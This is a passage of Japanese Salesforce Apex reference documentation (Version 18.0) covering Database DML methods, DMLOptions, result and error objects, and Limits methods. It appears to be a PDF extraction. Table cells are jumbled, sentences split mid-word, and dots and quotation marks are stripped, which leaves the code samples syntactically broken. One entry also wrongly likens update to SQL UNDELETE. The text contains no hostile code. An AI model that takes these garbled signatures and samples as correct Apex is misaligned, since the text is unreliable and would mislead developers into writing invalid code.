オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこの

ApprovalProcessResultApprovalProcessRequestProcessRequests

Booleanopt_allOrNone

process

パラメータを偽に設定し認証が失敗した場合でも残りの承認プロセスをを成功させることができます

Apex 承認プロセスの詳細はApex 承認プロセスクラス (ページ 361)を参照してください

新しい承認要求のリストを送信し既存の承認要求を承認または拒否します

Apex 承認プロセスの詳細はApex 承認プロセスクラス (ページ 361)を参照してください

ApprovalProcessResult[]

ApprovalProcessRequest[]ProcessRequests

process

新しい承認要求のリストを送信し既存の承認要求を承認または拒否します

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこの

ApprovalProcessResult[]

ApprovalProcessRequest[]ProcessRequests

Booleanopt_allOrNone

process

パラメータを偽に設定し認証が失敗した場合でも残りの承認プロセスをを成功させることができます

Apex 承認プロセスの詳細はApex 承認プロセスクラス (ページ 361)を参照してください

参照 Version 180 | Apex システムメソッド | 261

Database メソッド

次にDatabase のシステム静的メソッドを示します

説明戻り値の型引数名前

リードを取引先および連絡先オプションで商談に変換します

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しま

DatabaseLeadConvertResult

LeadConvertleadToConvert

Boolean opt_allOrNone

convertLead

すこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

LeadConvert オブジェクトのリストを取引先および連絡先オプションで商談に変換します

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しま

DatabaseLeadConvertResult[]

LeadConvert[]leadsToConvert

Boolean opt_allOrNone

convertLead

すこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

実行時に動的 SOQL クエリが返すレコード数を返します例String QueryString = SELECT count()FROM Account Integer I =DatabasecountQuery(QueryString)

IntegerString querycountQuery

詳細は「動的 SOQL」 (ページ140)を参照してください

組織のデータから個別の取引先または取引先担当者など既存の sObject を削除します

DeleteResultSObject recordToDelete

Boolean opt_allOrNone

delete

deleteはForcecom Web サービス API のdelete()ステートメントに似ています

参照 Version 180 | Apex システムメソッド | 262

説明戻り値の型引数名前

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

組織のデータから個別の取引先または取引先責任者など既存の sObject レコード のリ

DeleteResult[]SObject[] recordsToDelete

Boolean opt_allOrNone

delete

ストを削除しますdeleteはForcecomWebサービス API の delete()ステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

組織のデータから個別の取引先または取引先責任者など既存の sObject レコード を削

DeleteResultRecordID ID

Boolean opt_allOrNone

delete

除しますdeleteはForcecom Web サービス API の delete()ステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

参照 Version 180 | Apex システムメソッド | 263

説明戻り値の型引数名前

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

組織のデータから個別の取引先または取引先責任者など既存の sObject レコード のリ

DeleteResult[]RecordIDs []IDs

Boolean opt_allOrNone

delete

ストを削除しますdeleteはForcecomWebサービス API の delete()ステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

指定したレコードまたは sObjects がごみ箱から完全に削除されます次の点に注意してください

DatabaseEmptyRecycleBinResult[]

RecordIds []IdsemptyRecycleBin

bull このメソッドを使用してレコードが削除されると削除を取り消すことはできません

bull 削除に指定できるのは最大 200 件のレコードです

bull ログインしているユーザは自身のごみ箱にあるレコードまたは下位のごみ箱にあるレコードの中でクエリ可能なものはすべて削除できますログインしているユーザが「すべてのデータの編集」権限を持っている場合組織内のすべてのごみ箱のレコードへのクエリまたはレコードの削除を実行できます

bull カスケード削除レコード ID は ID のリストに含まれませんリストに含まれるとエラーが発生しますたとえば取引先レコードが削除されると関連するすべての取引先担当者商談取引先担当者なども削除されます上位レベルの取引先の IDだけが含まれます関連するすべてのレコードは自動的に削除されます

参照 Version 180 | Apex システムメソッド | 264

説明戻り値の型引数名前

bull DML 文によって処理された項目の数に削除された項目が追加され発行されたDML 文の合計数にメソッド呼び出しが追加されますemptyRecycleBinメソッドではDML ガバナ制限が使用されます

指定した sObjects がごみ箱から完全に削除されます次の点に注意してください

DatabaseEmptyRecycleBinResult

sObject sObjectemptyRecycleBin

bull このメソッドを使用して sObject が削除されると削除を取り消すことはできません

bull 削除に指定できるのは最大 200 件のsObjects です

bull ログインしているユーザは自身のごみ箱にある sObjectsまたは下位のごみ箱にあるレコードの中でクエリ可能なものはすべて削除できますログインしているユーザが「すべてのデータの編集」権限を持っている場合組織内のすべてのごみ箱のsObjects へのクエリまたはレコードの削除を実行できます

bull カスケード削除により削除された sObjectは含まないでください含まれる場合エラーが発生しますたとえば取引先が削除されると関連するすべての取引先担当者商談取引先担当者なども削除されます上位レベルの取引先の sObjects だけが含まれます関連するすべての sObjects は自動的に削除されます

bull DML 文によって処理された項目の数に削除された項目が追加され発行されたDML 文の合計数にメソッド呼び出しが追加されますemptyRecycleBinメソッドではDML ガバナ制限が使用されます

指定した sObject がごみ箱から完全に削除されます次の点に注意してください

DatabaseEmptyRecycleBinResult[]

sObjects []listOfSObjectsemptyRecycleBin

bull このメソッドを使用して sObject が削除されると削除を取り消すことはできません

bull 削除に指定できるのは最大 200 件のsObjects です

bull ログインしているユーザは自身のごみ箱にある sObjectsまたは下位のごみ箱にあるレコードの中でクエリ可能なものはす

参照 Version 180 | Apex システムメソッド | 265

説明戻り値の型引数名前

べて削除できますログインしているユーザが「すべてのデータの編集」権限を持っている場合組織内のすべてのごみ箱のsObjects へのクエリまたはレコードの削除を実行できます

bull カスケード削除により削除された sObjectは含まないでください含まれる場合エラーが発生しますたとえば取引先が削除されると関連するすべての取引先担当者商談取引先担当者なども削除されます上位レベルの取引先の sObjects だけが含まれます関連するすべての sObjects は自動的に削除されます

bull DML 文によって処理された項目の数に削除された項目が追加され発行されたDML 文の合計数にメソッド呼び出しが追加されますemptyRecycleBinメソッドではDML ガバナ制限が使用されます

指定したクラスを Apex の一括処理ジョブとして実行します詳細は「Apexの一括処理の使用 (ページ 146)」を参照してください

IDsObject classNameexecuteBatch

メモ executeBatchメソッドによって呼び出されたクラスは executeメソッドを実装します組織で 24 時間当たり最大 250000 件の executeメソッドを呼び出すことができます

指定したクラスを Apex の一括処理ジョブとして実行しますscopeの値は 0 より大きく

IDsObject className Integerscope

executeBatch

なければなりません詳細は「Apexの一括処理の使用 (ページ 146)」を参照してください

メモ executeBatchメソッドによって呼び出されたクラスは executeメソッドを実装します組織で 24 時間当たり最大 250000 件の executeメソッドを呼び出すことができます

ApexまたはVisualforceの一括処理で使用される QueryLocator オブジェクトを作成します

QueryLocatorsObject [] listOfQueriesgetQueryLocator

詳細は「データベースのバッチ Apex オブジェクトとメソッド (ページ 273)」「Apexによる共有管理について (ページ153)」および

参照 Version 180 | Apex システムメソッド | 266

説明戻り値の型引数名前

「StandardSetController クラス (ページ 334)」を参照してください

集計関数を含むクエリと getQueryLocator

を使用することはできません

ApexまたはVisualforceの一括処理で使用される QueryLocator オブジェクトを作成します

QueryLocatorString querygetQueryLocator

詳細は「データベースのバッチ Apex オブジェクトとメソッド (ページ 273)」「Apexによる共有管理について (ページ153)」および「StandardSetController クラス (ページ 334)」を参照してください

集計関数を含むクエリと getQueryLocator

を使用することはできません

個別の取引先または取引先責任者などsObjectを組織のデータに追加しますinsertは SQLの INSERT ステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しま

SaveResultsObject recordToInsert

Boolean opt_allOrNone |databaseDMLOptionsopt_DMLOptions

insert

すこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

オプションのopt_DMLOptionsパラメータは割り当てルール情報または切り捨ての動作などトランザクションの追加データを指定します

項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

個別の取引先または取引先責任者など1 つまたは複数の sObject を組織のデータに追加

SaveResult[]sObject [] recordsToInsert

Boolean opt_allOrNone |databaseDMLOptionsopt_DMLOptions

insert

しますinsertは SQL の INSERT ステートメントに似ています

参照 Version 180 | Apex システムメソッド | 267

説明戻り値の型引数名前

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

オプションのopt_DMLOptionsパラメータは割り当てルール情報または切り捨ての動作などトランザクションの追加データを指定します

項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

動的 SOQL クエリを実行時に作成しますこのメソッドは精機の割り当てステートメン

sObject[]String queryquery

トやforループなど静的 SOQL クエリが使用できる場合に使用できます

詳細は「動的 SOQL」 (ページ140)を参照してください

データベースをsavepoint 変数で指定された状態に復元します最後の savepoint 後に送信

VoidSystemSavepoint sprollback

された電子メールもロールバックされ送信されません

rollbackによるデータベースの復元はすべてのコンテキストでつまりトリガ匿名ブロックWSDLメソッドまたはユニットテストで20回まで実行できますそれ以上の回数をロールバックしようとするとランタイムエラーが発生します

ローカル変数として保存できrollbackメソッドと使用してデータベースをその時点に復元できる savepoint 変数を返します

複数の savepoint を設定しかつ生成した最後の savepoint でない savepoint にロールバックす

SystemSavepointsetSavepoint

ると後の savepoint 変数が無効となります

参照 Version 180 | Apex システムメソッド | 268

説明戻り値の型引数名前

たとえば最初にsavepoint SP1を生成次にsavepoint SP2を生成したとしてSP1にロールバックすると変数 SP2は無効となりますこの際SP2 を使用しようとするとランタイムエラーが発生します

savepoints への参照は各トリガ呼び出しが新しい実行コンテクストであるため複数のトリガと共有することはできません静的変数として savepoint を宣言しトリガコンテキスト全体で使用しようとする場合ランタイムエラーが発生します

すべてのコンテキストでつまりトリガ匿名ブロックWSDL メソッドまたはユニットテストで 5 つの savepoint のみを設定できます追加の savepoint を設定しようとするとランタイムエラーが発生します

個別の取引先または取引先責任者など既存の sObject を組織のごみ箱から復元します

UndeleteResultsObject recordToUndelete

Boolean opt_allOrNone

undelete

undeleteは SQL の UNDELETE ステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

個別の取引先または取引先責任者など1 つまたは複数の sObject を組織のごみ箱から復

UndeleteResult[]sObject []recordsToUndelete

Boolean opt_allOrNone

undelete

元します undeleteは SQL の UNDELETEステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよび

参照 Version 180 | Apex システムメソッド | 269

説明戻り値の型引数名前

その理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

個別の取引先または取引先責任者など既存の sObject を組織のごみ箱から復元します

UndeleteResultRecordID ID

Boolean opt_allOrNone

undelete

undeleteは SQL の UNDELETE ステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

個別の取引先または取引先責任者など1 つまたは複数の sObject を組織のごみ箱から復

UndeleteResult[]RecordIDs[] ID

Boolean opt_allOrNone

undelete

元します undeleteは SQL の UNDELETEステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

個別の取引先または取引先責任者など組織のデータの既存の sObject を変更します

DatabaseSaveResultsObject recordToUpdate

Boolean opt_allOrNone |databaseDMLOptionsopt_DMLOptions

update

updateは SQL の UPDATE ステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しま

参照 Version 180 | Apex システムメソッド | 270

説明戻り値の型引数名前

すこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

オプションのopt_DMLOptionsパラメータは割り当てルール情報または切り捨ての動作などトランザクションの追加データを指定します

項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

個別の取引先または取引先責任者など組織のデータの 1 つまたは複数の既存の sObject

DatabaseSaveResult[]

sObject [] recordsToUpdate

Boolean opt_allOrNone

update

を変更します updateは SQL のUNDELETE ステートメントに似ています

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しま

|

databaseDMLOptionsopt_DMLOptions

すこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

オプションのopt_DMLOptionsパラメータは割り当てルール情報または切り捨ての動作などトランザクションの追加データを指定します

項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

参照 Version 180 | Apex システムメソッド | 271

説明戻り値の型引数名前

既存オブジェクトの有無を指定するオプションのカスタム項目を使用して単一ステート

DatabaseUpsertResultsObject recordToUpsert

SchemaSObjectFieldExternal_ID_Field

upsert

メント内に新しい sObject レコードを作成または既存の sObject レコードを更新します

External_ID_Fieldは SchemaSObjectFieldつまり項目トークンですfields特殊メソッ

Boolean opt_allOrNone

ドを使用して項目のトークンを検索しますたとえばSchemaSObjectField f =

AccountFieldsMyExternalIdとなります

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

既存オブジェクトの有無を指定するオプションのカスタム項目を使用

External_ID_Fieldは SchemaSObjectFieldつまり項目トークンですfields特殊メソッ

DatabaseUpsertResult[]

sObject [] recordsToUpsert

SchemaSObjectFieldExternal_ID_Field

Boolean opt_allOrNone

upsert

ドを使用して項目のトークンを検索しますたとえばSchemaSObjectField f =

AccountFieldsMyExternalIdとなります

オプションのopt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

参照 Version 180 | Apex システムメソッド | 272

説明戻り値の型引数名前

項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

データベースの DML 操作の詳細は「Apexのデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

データベースバッチ Apex オブジェクトとメソッド

DatabaseQueryLocator メソッド

次の表では DatabaseQueryLocator オブジェクトのメソッドを記載しています

説明戻り値の型引数名前

DatabaseQueryLocator オブジェクトのインスタンス化に使用するクエリを返しますstartメソッドをテストする場合に役立ちます例

SystemassertEquals(QLReturnedFromStartgetQuery()

StringgetQuery

DatabasegetQueryLocator([SELECT Id FROMAccount])getQuery() )

getQueryLocator クエリとともに FOR UPDATEキーワードを使用して一連のレコードをロックすることはできませんstartメソッドはバッチのレコードのセットを自動的にロックします

データベース DMLOptions メソッド

databaseDMLOptions オブジェクトを使用して項目の切り捨て動作または割り当てルール情報を指定するなどトランザクション時の追加情報を提供しますDMLOptions はAPI バージョン 150 以上で保存された Apex スクリプトにのみ使用できます

DatabaseDMLOptions オブジェクトには次のメソッドがあります

bull allowFieldTruncationメソッドbull assignmentRuleHeaderメソッドbull emailHeaderメソッドbull localeOptionsメソッド

参照 Version 180 | Apex システムメソッド | 273

allowFieldTruncationメソッド

allowFieldTruncationメソッドは文字列の切り捨て動作を指定しますバージョン 150 より前の API に対して保存されたApexスクリプトでは文字列に値を指定しその値が大きすぎる場合値は切り捨てられますAPIバージョン 150 以降では大きすぎる値が指定されると操作は失敗しエラーメッセージが返されますallowFieldTruncationメソッドを使用するとAPIバージョン 150 以降に対して保存されたApexスクリプトの新しい動作ではなく以前の動作である切り捨てを使用するように指定できます

allowFieldTruncationメソッドは Boolean 値を使用しますtrueの場合長すぎる文字列値を切り捨てますこれは API バージョン 140 以前の動作です例

DatabaseDMLOptions dml = new DatabaseDMLOptions() dmlallowFieldTruncation = true

assignmentRuleHeaderメソッド

assignmentRuleHeaderメソッドは取引先作成時に使用する割り当てルールを指定します

メモ databaseDMLOptions オブジェクトはケースおよびリードの割り当てルールをサポートしますが取引先またはテリトリー管理の割り当てルールはサポートしません

次にassignmentRuleHeaderで設定できるオプションを示します

説明型名前

ケースまたはリードに実行する特定の割り当てルールのID を指定します割り当てルールを有効または無効にで

IDassignmentRuleID

きますID はAssignmentRule sObject を問い合わせて取得することができますassignmentRuleId が指定されている場合はuseDefaultRuleを指定しないでください

値が適切な ID 形式 (15 文字または 18 文字のSalesforcecom ID) でない場合コールは失敗し例外が返されます

ケースまたはリードの trueとして指定した場合システムはケースまたはリードのデフォルト (アクティブな)

BooleanuseDefaultRule

割り当てルールを使用しますuseDefaultRule が指定されている場合はassignmentRuleIdを指定しないでください

以下の例ではuseDefaultRuleオプションを使用します

DatabaseDMLOptions dmo = new DatabaseDMLOptions() dmoassignmentRuleHeaderuseDefaultRule=true

Lead l = new Lead(company=ABC lastname=Smith) lsetOptions(dmo)

insert l

参照 Version 180 | Apex システムメソッド | 274

以下の例ではassignmentRuleIDオプションを使用します

DatabaseDMLOptions dmo = new DatabaseDMLOptions()dmoassignmentRuleHeaderassignmentRuleId= 01QD0000000EqAn Lead l = new Lead(company=ABClastname=Smith) lsetOptions(dmo)

insert l

emailHeaderメソッド

Salesforcecomユーザインターフェースを使用して次のようなイベントが発生した場合に電子メールを送信するかしないかを指定します

bull ケースまたは ToDo の新規作成bull ケースのコメントの作成bull ケースの電子メールの取引先担当者への変換bull 新規ユーザの電子メール通知bull パスワードのリセット

API バージョン 150 に対して保存された Apex スクリプトでDatabaseDMLOptions emailHeaderメソッドを使用するとスクリプトの実行によりイベントのいずれかが発生したときに送信される電子メールに関する追加情報を指定できます

次にemailHeaderメソッドで設定できるオプションを示します

説明型名前

リードケースに対して自動応答ルールをトリガする(true) かトリガしない (false) かを示します

BooleantriggerAutoResponseEmail

Salesforcecomユーザインターフェースでこの電子メールはケースの作成やユーザパスワードのリセットなどさまざまなイベントによって自動的にトリガされますこの値が trueに設定されている場合ケースが作成されるとContactIDに指定された連絡先の電子メールアドレスがあれば電子メールはそのアドレスに送信されますアドレスがない場合電子メールはSuppliedEmailで指定されたアドレスに送信されます

組織外の電子メールをトリガする (true) かトリガしない (false) かを示しますSalesforcecomユーザインター

BooleantriggerOtherEmail

フェースでこの電子メールはケースの連絡先の作成編集削除によって自動的にトリガされます

組織内のユーザに送信される電子メールをトリガする(true) かトリガしない (false) かを示します

BooleantriggerUserEmail

Salesforcecomユーザインターフェースでこの電子メールはパスワードのリセットユーザの新規作成コメントのケースへの追加タスクの作成または変更などさまざまなイベントによって自動的にトリガされます

参照 Version 180 | Apex システムメソッド | 275

次の例ではtriggerAutoResponseEmailオプションが指定されます

Account a = new Account(name=Acme Plumbing) insert a Contact c = newContact(email=jplumbersalesforcecom firstname=Joelastname=Plumber accountid=aid)insert c DatabaseDMLOptions dlo = new DatabaseDMLOptions()dloEmailHeadertriggerAutoResponseEmail = true Case ca = new Case(subject=PlumbingProblems contactid=cid) databaseinsert(ca dlo)

グループイベントによりApexで送信される電子メールには追加の動作が含まれますグループイベントとはIsGroupEventが真であるイベントですEventAttendee オブジェクトはグループイベントに招待されているユーザリードまたは連絡先を追跡しますApex を使用して送信されるグループイベント電子メールの次のような動作に注意してください

bull ユーザにグループイベントの招待状を送信する場合triggerUserEmailオプションに関係しますbull リードまたは取引先担当者にグループイベントの招待状を送信する場合triggerOtherEmailオプションに

関係しますbull グループイベントの更新または削除時に送信される電子メールは必要に応じて triggerUserEmailおよび

triggerOtherEmailオプションに関係します

localeOptionsメソッド

localeOptionsメソッドはApex スクリプトで返されるラベルの言語を指定しますde_DE または en_GB など値は有効なユーザロケール (言語および国) である必要があります値は文字列で文字数は 2 から 5 文字です最初の 2 文字は常に「fr」や[en」などの ISO 言語コードです値がさらに国別に評価される場合文字列はアンダースコア (_) に続き「US」や「UK」などの ISO 国コードが続きますたとえばアメリカを示す文字列は「en_US」カナダのフランス語圏を示す文字列は「fr_CA」です

Salesforcecom がサポートする言語の一覧はSalesforcecom オンラインヘルプの「Salesforcecom がサポートする言語」を参照してください

データベースの EmptyRecycleBinResult メソッド

DatabaseEmptyRecycleBinResult オブジェクトのリストは DatabaseemptyRecycleBinメソッドによって返されますリスト内の各オブジェクトはDatabaseemptyRecycleBinメソッドのパラメータとして渡されるレコード ID またはパラメータに対応しますEmptyRecycleBinResult リストの最初のインデックスはリストに指定された最初のレコードまたは sObject に2 番目のインデックスは 2 番目のレコードまたは sObject にと順に対応します

次にすべてのインスタンスメソッドを示しますつまり EmptyRecyclelBinResult オブジェクトの特定のインスタンスに機能します引数をとるメソッドはありません

説明戻り値の型名前

このレコードまたは sObject の削除時にエラーが発生した場合1 つまたは複数の DatabaseError オブジェクト

DatabaseErrors []getErrors

のリストが返されますエラーが発生しない場合このリストは空白です

削除しようとするレコードまたは sObject を返しますIDgetId

レコードまたは sObject がごみ箱から正常に削除された場合は trueを正常に削除されない場合は falseを返します

BooleanisSuccess

参照 Version 180 | Apex システムメソッド | 276

Database Error Object メソッド

Databaseerror オブジェクトにはDML 操作またはそのほかの操作中に発生するエラーに関する情報が含まれています

データベースシステムメソッド形式で実行するすべての DML 操作は操作が失敗すると error オブジェクトを返します

すべての error オブジェクトは次のメソッドにアクセスします

説明戻り値の型引数名前

エラーメッセージのテキストを返しますStringgetMessage

エラーを特徴づけるコードを返しますステータスコードの詳細は組織のWSDL ファイルで参照でき

StatusCodegetStatusCode

ます (Salesforcecom オンラインヘルプの「SalesforcecomWSDL およびクライアント認証証明書のダウンロード」を参照してください)

Limits メソッド

Apex はマルチテナント環境で実行するためApex ランタイムエンジンは回避スクリプトが共有リソースを独占しないようさまざまな制限事項を強制します

Limits メソッドはトリガWeb サービスメソッドなど実行されているコンテキストに対する特定の制限を返します

Limits メソッドでは引数を必要としませんLimits メソッドの形式は次のとおりです

myDMLLimit = LimitsgetDMLStatements()

各メソッドには 2 つのバージョンがあります一方のバージョンのメソッドは現在のコンテキストで使用されているリソースの数を返しもう一方のバージョンは limit という用語を使用し該当するコンテキストに使用できるリソースの合計を返します

詳細は「実行ガバナーと制限の理解」を参照してください

説明戻り値の型

名前

現在のコンテキストで SOQL クエリステートメントで処理される集合クエリの数を返します

IntegergetAggregateQueries

現在のコンテキストで SOQL クエリステートメントで処理できる集合クエリの合計数を返します

IntegergetLimitAggregateQueries

現在のコンテキストで処理されている Web サービスステートメントの数を返します

IntegergetCallouts

現在のコンテキストで処理できる Web サービスステートメントの数を返します

IntegergetLimitCallouts

参照 Version 180 | Apex システムメソッド | 277

説明戻り値の型

名前

現在のコンテキストで返されている子関係オブジェクトの数を返します

IntegergetChildRelationshipsDescribes

現在のコンテキストで返すことができる子関係オブジェクトの合計数を返します

IntegergetLimitChildRelationshipsDescribes

現在のトランザクションの Salesforcecomサーバの累積CPU 時間 (ミリ秒) を返します

IntegergetCpuTime

現在のトランザクションの Salesforcecomサーバの累積CPU 時間 (ミリ秒) の合計を返します

getLimitCpuTime

現在のコンテキストで DML ステートメント (挿入削除) または databaseEmptyRecycleBinメソッドで処理されるレコードの数を返します

IntegergetDMLRows

現在のコンテキストで DML ステートメントまたはdatabaseEmptyRecycleBinメソッドで処理できるレコードの合計数を返します

IntegergetLimitDMLRows

現在のコンテキストでコールされている DML ステートメント (insertupdateまたは

IntegergetDMLStatements

databaseEmptyRecycleBinメソッドなど) の数を返します

現在のコンテキストでコールすることができる DMLステートメントまたは databaseEmptyRecycleBin

メソッドの合計数を返します

IntegergetLimitDMLStatements

現在のコンテキストでコールされている電子メール呼び出し (sendEmailなど) の数を返します

IntegergetEmailInvocations

現在のコンテキストでコールできる電子メール呼び出し (sendEmailなど) の合計数を返します

IntegergetLimitEmailInvocations

現在のコンテキストで作成されている項目記述コールの数を返します

IntegergetFieldsDescribes

現在のコンテキストで作成できる項目記述コールの合計数を返します

IntegergetLimitFieldsDescribes

現在のコンテキストで実行されているfindSimilarメソッドの数を返します

IntegergetFindSimilarCalls

現在のコンテキストで実行できるfindSimilarメソッドの合計数を返します

IntegergetLimitFindSimilarCalls

現在のコンテキストで実行されている (必ずしも完了しない) futureアノテーションを含むメソッドの数を返します

IntegergetFutureCalls

参照 Version 180 | Apex システムメソッド | 278

説明戻り値の型

名前

現在のコンテキストで実行できる (必ずしも完了しない)futureアノテーションを含むメソッドの合計数を返します

IntegergetLimitFutureCalls

現在のコンテキストでヒープに使用されているメモリのおおよその容量 (バイト) を返します

IntegergetHeapSize

現在のコンテキストでヒープに使用できるメモリの合計容量 (バイト) を返します

IntegergetLimitHeapSize

現在のコンテキストで発行されている SOQL クエリの数を返します

IntegergetQueries

現在のコンテキストで発行できる SOQL クエリの合計数を返します

IntegergetLimitQueries

現在のコンテキストで返されている PicklistEntry オブジェクトの数を返します

IntegergetPicklistDescribes

現在のコンテキストで返すことができる PicklistEntryオブジェクトの合計数を返します

IntegergetLimitPicklistDescribes

現在のコンテキストで DatabasegetQueryLocator

メソッドに返されたレコードの数を返しますIntegergetQueryLocatorRows

現在のコンテキストで DatabasegetQueryLocator

メソッドに返されたレコードの数の合計を返しますIntegergetLimitQueryLocatorRows

現在のコンテキストで SOQL クエリを発行することによって返されるレコード数を返します

IntegergetQueryRows

現在のコンテキストで SOQL クエリを発行することによって返すことができるレコードの合計数を返します

IntegergetLimitQueryRows

現在のコンテキストで返されている RecordTypeInfo オブジェクトの数を返します

IntegergetRecordTypesDescribes

現在のコンテキストで返すことができる RecordTypeInfoオブジェクトの合計数を返します

IntegergetLimitRecordTypesDescribes

現在のコンテキストで実行されている runAsメソッドの合計数を返します

IntegergetRunAs

現在のコンテキストで実行できる runAsメソッドの合計数を返します

IntegergetLimitRunAs

現在のコンテキストで発行されているロールバックステートメントの数を返します

IntegergetSavepointRollbacks

現在のコンテキストで発行することができるロールバックステートメントの合計数を返します

IntegergetLimitSavepointRollbacks

参照 Version 180 | Apex システムメソッド | 279

説明戻り値の型

名前

現在のコンテキストで発行されている Savepointステートメントの数を返します

IntegergetSavepoints

現在のコンテキストで発行できるSavepointステートメントの合計数を返します

IntegergetLimitSavepoints

現在のコンテキストで実行されているステートメントの数を返します

IntegergetScriptStatements

現在のコンテキストで実行できるステートメントの合計数を返します

IntegergetLimitScriptStatements

現在のコンテキストで発行されている SOSL クエリの数を返します

IntegergetSoslQueries

現在のコンテキストで発行できる SOSL クエリの合計数を返します

IntegergetLimitSoslQueries

Math メソッド

次にMath のシステム静的メソッドを示します

説明戻り値の型引数名前

指定された Decimal の絶対値を返しますDecimalDecimal dabs

